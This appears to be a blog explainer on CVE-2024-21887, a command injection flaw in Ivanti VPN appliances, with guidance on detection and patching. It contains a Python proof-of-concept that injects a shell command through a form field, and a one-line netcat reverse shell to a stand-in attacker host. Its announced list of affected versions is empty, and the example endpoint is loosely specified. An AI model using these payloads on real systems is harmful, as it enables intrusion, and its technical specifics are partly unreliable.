In early 2024, security researchers uncovered a critical command injection vulnerability in the web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x). Tracked as CVE-2024-21887, this flaw allows any authenticated administrator to send specially crafted requests resulting in arbitrary command execution on the underlying appliance. Here’s a simple, exclusive breakdown of what this vulnerability means, how it works, and proof-of-concept code to show the risk in practice.

What Is CVE-2024-21887?

At its core, CVE-2024-21887 is a command injection bug. It lives in the web interface code of Ivanti’s secure VPN and network policy appliances, used by organizations worldwide. Attackers with an admin account can slip custom shell commands into what should be safe web requests. The affected versions at the time of discovery were:

Why Is It a Big Deal?

- Remote Code Execution (RCE): Once inside, an admin can make the device run pretty much any command as root.
- No Patch, Big Risk: Enterprises relying on these appliances are exposed until they apply an Ivanti patch.
- Widespread Use: These devices are common in corporate remote access infrastructure, making many targets juicy for ransomware and espionage groups.

How Does the Exploit Work?

During everyday operation, admin users interact with web components to manage network access, users, or VPN settings. But due to improper input validation, certain web endpoints take parameters and accidentally pass them unchecked to system shell commands.

An authenticated attacker crafts a malicious POST or GET request. In one identified endpoint (for example, /api/v1/tunnel), a “name” or similar field is vulnerable.

Here’s a concept code example (don’t run this on a real system!)

import requests

# Set up your session (already authenticated as admin)
session = requests.Session()
session.cookies.set('DSID', 'your-valid-session-cookie-value')

target = "https://ivanti-vpn.company.com";
vuln_url = f"{target}/api/v1/tunnel"

# Payload: injects a harmless command – replace 'id' with something else for a real attack
malicious_data = {
    "name": "foo; id",  # Here, 'id' will run on the appliance
    "other_field": "value"
}

response = session.post(vuln_url, data=malicious_data, verify=False)
print(response.text)

What’s happening?

- The “name” parameter is expected to be a simple name, like ‘office_vpn’. Instead, the attacker adds a semicolon and a shell command (id).

A More Dangerous Example

Running something like ; nc attacker.com 4444 -e /bin/sh would set up a reverse shell.

How to Detect You’re at Risk

If you’re running any of the affected Ivanti versions and your admin accounts aren’t tightly controlled, you are vulnerable.

Do you see unusual admin interface logins?

- Audit logs for odd names or parameters in POST requests to /api/v1/ and similar URLs.

How to Fix It

Apply the Ivanti Security Patch Immediately.

Find official updates and mitigation steps here

- https://forums.ivanti.com/s/article/CVE-2024-21887-Impact-and-Mitigation
- https://nvd.nist.gov/vuln/detail/CVE-2024-21887

If you cannot patch right away

- Restrict admin panel access to trusted IPs/networks.

Exploit in the Wild

Within days of disclosure, attackers began exploiting this vulnerability, often pairing it with other flaws (like session hijacking) to target organizations. There were reports of ransomware actors targeting infrastructure through Ivanti appliances.

Read more at

- Huntress Labs: Ivanti VPN Zero-Day Analysis
- Rapid7 Analysis

Conclusion

CVE-2024-21887 proves just how dangerous web component vulnerabilities can be for critical infrastructure. If you’re running any affected Ivanti devices, patch immediately and review all admin-facing network access. Command injection is a notorious class of bug, but this one is as bad as it gets for enterprise networks.

Always treat admin web panels like a loaded weapon—keep them locked down and up-to-date.

References

- Ivanti Security Advisory
- NVD Entry
- Huntress Blog
- Rapid7 Advisory

Timeline

Published on: 01/12/2024 17:15:10 UTC
Last modified on: 01/19/2024 02:00:01 UTC